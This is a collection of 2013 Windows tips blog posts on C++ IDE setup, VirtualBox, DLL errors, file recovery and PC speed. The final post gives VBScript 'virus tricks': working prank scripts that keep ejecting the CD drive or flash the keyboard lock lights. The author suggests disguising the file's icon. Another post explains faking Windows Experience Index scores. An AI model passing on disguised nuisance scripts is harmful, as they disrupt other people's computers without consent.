Monday, 13 May 2013

USING C++ IN WINDOWS 7/8

Since windows 7 or 8 and even vista don't support full screen mode for command prompt it creates difficulty for programmers using turbo c++ .
here are some easy solutions-

DEV C++ - 


You can download the latest version of dev c++  .I myself use dev c++ 5.3.0.3 which works absolutely fine with windows 8.It also supports standard template library (STL) which makes programming a lot easier by including algorithms and classes like vector and string and also these features are not supported by turbo c++.

TURBO C++-


However if you are well acquainted with Turboc++  and not ever used namespaces then you might get
stuck while using Dev c++ .So you can still use Turboc++ with DOSBOX . You can download it from here .But it also has some issues like after running your program for first time your mouse cursor will stop working which is sometimes very irritating.

CODE::BLOCKS-

Setting up it can be little annoying in the beginning (so I am giving a full step by step tutorial )  but after setting up you will find it very easy to use even for any type of programming you can use it.
You can download code blocks for different operating systems from here ( be careful to download the file with mingw-setup )

INSTALLING CODE::BLOCKS

  • Run the downloaded setup
  • click next several times to follow default installation( I will assume default installation while setting up code::blocks ) 



  •  You may also change the default directory above

  • And click on finish when code block installation completes 


SETTING UP CODE::BLOCKS

The following window will come up when you start code::blocks

Click on create a new project 
following window appears


Click on "Console Application" and press "Go" button.
Code::Blocks will then prompt you with where you'd like to save the console application: 
I'd recommend you put it in its own folder, as it may create several files
 (this is especially true if you create other types of projects). 
You will need to give your project a name, anything will be fine. 
click next


click on finish





You can now open the main.cpp file on the left: 


 (You may need to expand the contents of the "Sources" folder if you don't see main.cpp.)

At this point, you will have your main.cpp file, which you can modify if you like. For now, it just says "Hello World!", so we can run it as is. Hit F9, which will first compile it and then run it.
You now have a running program! You can simply edit main.cpp and then hit F9 to compile it and run it again



Saturday, 11 May 2013

VIRTUAL BOX AND GUEST OPERATING SYSTEM


Are you using windows and also want to use features of ubuntu or linux or any 
other operating system without actually installing it here is the solution .

VirtualBox is a powerful x86 and AMD64/Intel64 virtualisation product for enterprise 
as well as home use. Not only is VirtualBox an extremely feature rich, high performance product for enterprise customers, it is also the only professional solution that is freely available 
as Open Source Software
Presently, VirtualBox runs on Windows, Linux, Macintosh, and Solaris hosts and 
supports a large number of guest operating systemsincluding but not limited to 
Windows (NT 4.0, 2000, XP, Server 2003, Vista, Windows 7), DOS/Windows 3.x, 
Linux (2.4 and 2.6), Solaris and OpenSolaris, OS/2, and OpenBSD.
How to install it ->
You can simply download setup depending on your operating system from its website 
www.virtualbox.org 
How to use it  ->
you need an iso file for the guest operating system you want to use. For ubuntu or linux you can get the iso file over net . now you need to mount this iso file with the help of virtual box and
 now can setup your virtual machine by giving it some name and specifying space and ram it will use .



WANNA CHANGE YOUR WINDOWS EXPERIENCE INDEX

Here is the trick to change your windows experience index which is applicable in both windows 7 and windows 8


  1. Go to C:\Windows\Performance\WinSAT\DataStore .
  2. Find the file named like ***Formal.Assessment**.xml it will be largest (in size) of all.
  3. We need to change this file so copy it to some easily accessible location .(like desktop)
  4. Now open the copied file in notepad .
  5. Towards the end of first line you will start finding tags like <systemscore>x</systemscore> or diskscore which you can change by yourself to a desired value (upper limit for win7 is 7.9 and for win8 is 9.9)
  6. Now you need to replace this file with the original file by copying it there .It may require administrator privilege .
  7. You are done go to system properties to check your score

SOLVING ERRORS LIKE MISSING MSVCR*.DLL OR D3DX10.DLL OR D3DX10_33.DLL OR 43.DLL



A lot of people will tell you to download the dll from some external link and put it in your game folder, however, this should not be done as:
If there is a security fix for the dll by microsoft, you will not be notified of an update.
Future programs that require this dll will not be able to access it.
The legitimacy of the files can not always be verified.
Simple problems come with simple solutions.
An asterisk (*) indicates a wildcard.

Missing MSVCR*.dll files

These are known as the Microsoft Visual C++ Runtime libraries. There are different versions available for the different versions of Visual Studio that produce exes/dlls.
The number at the end of the file indicates what version of MSVC produced the program, and what version of the runtime libraries that you need to install.
Here are a quick rundown of versions
Microsoft Visual C++ 2005 - MSVCR*8*.dll
Microsoft Visual C++ 2008 - MSVCR*9*.dll
Microsoft Visual C++ 2010 - MSVCR*10*.dll
You can easily download required Microsoft Visual c++  by going to
 http://www.microsoft.com/en-us/download/details.aspx?id=5555  for 32 bit
and
http://www.microsoft.com/en-us/download/details.aspx?id=14632 for 64 bit

Missing d3d*.dll files

You could also download the DirectX End-User Runtime Webinstaller from http://www.microsoft.com/downloads/details.aspx?FamilyID=2da43d38-db71-4c1b-bc6a-9b6652cd92a3&displayLang=en . Even if only updates for "DirectX 9.0c and previous versions" are mentioned, updates for DX 10 and 11 are contained, too (the web installer won't change your current DX installation, only add missing files). Whatever you do, look into your Windows\System32 folder. The following D3DX10xxx.dll's should be present:
 D3DX10.dll (2006),
 D3DX10_33 (2007) up to D3DX10_43.dll (2010).
Also as these errors arise while installing games you might find the required setup of Directx and Microsoft Visual c++ present in games setup folder . It will be better to install it from here as it will contain the required versions of both.

RETRIEVING A DELETED FILE

If you have deleted an important file accidently
and now you need to restore it
you can check your recycle bin
but if your lucky enough to have the file deleted from recycle bin also
then there is very less chance of recovering it.
But it is possible because even after deletion of a file from recycle bin.
 It remains on hard disk until it is overwritten by any other files .
So there are are soft-wares available that can recover lost files

like Recover My Files OR Restoration 3.2.13

you can try any one of the software to recover your deleted file
however chances are very less.


HOW TO SPEED UP A SLOW COMPUTER


If  your computer is slowing down since you have purchased it
here are the things you should check for
HARD DRIVE-
hard drive filling up is important and lot of people don't realize that you must definitely
get rid of stuff that you are not using any more. now you can do that by-


disk cleanup-(  in  old windows start ->all programs->accessories->system tools->disk clean up
                        in win 8 simply search for disk cleanup would be easier     )

it lets you clean up lot of stuff you are not using anymore
CCleaner-
to download it click here
it is far more better than disk cleanup and cleans a lot of space .
also it fixes registry issues making your computer much faster
 (however you should be careful while dealing with registry )


You may also go for buying an external hard disk to keep all movies ,
games kind of stuff to make your hard disk cleaner.
Emptying recycle bin is also important.
As operating system runs from that drive more filled up
 the drive will be more time it will take to load

RAM also plays a significant role in the speed of a computer
and if you brought a computer many years ago then ram might need to be increased
as the current version of all programs would require higher ram than the old ones.
so you should go for increasing your computer's RAM.
also at last I would recommend windows 8 since it is very fast
 and if your half time is wasted in just opening and shutting down your pc
 then you definitely should go for windows 8 if possible

EASY VIRUS TRICKS USING VB SCRIPT


CD/DVD CONTINUOUS EJECTION

This code snippet will eject your cd drive continuously.
You just need to copy it in a notepad and save with extension .vbs .
You can also change its icon to something familiar so that no one knows what it is.
To kill this virus you just need to go to task manager , go to processes tab click on "wpscript.exe"
 and click on end process
Here is the code
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >=1 then
do
For i=0 to colCDROMs.COunt -1
colCDROMs.item(i).Eject
Next 'cdrom'
loop
End If
For i=0 to colCDROMs.COunt -1       //If you add these (3) lines in coding again it would decrease the 
colCDROMs.item(i).Eject                  // time between loading and ejection half  i.e the speed would 
Next 'cdrom'                                        //double.you can add these three lines as many times as you want

CRAZY LIGHTS

you can also make your keyboard lights (num lock,caps lock,scroll lock) go mad.they will light up and go down as fast as and in the order as you want.just copy the code given below(remember that this will make lights go crazy and also it makes your typing crazy with upper case and lower case shuffles)

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

now change the value 50 as you want.it will change the interval between lights flashing time.and also u can change the lighting up order just by changing the order in last 3 rows of the code except looping line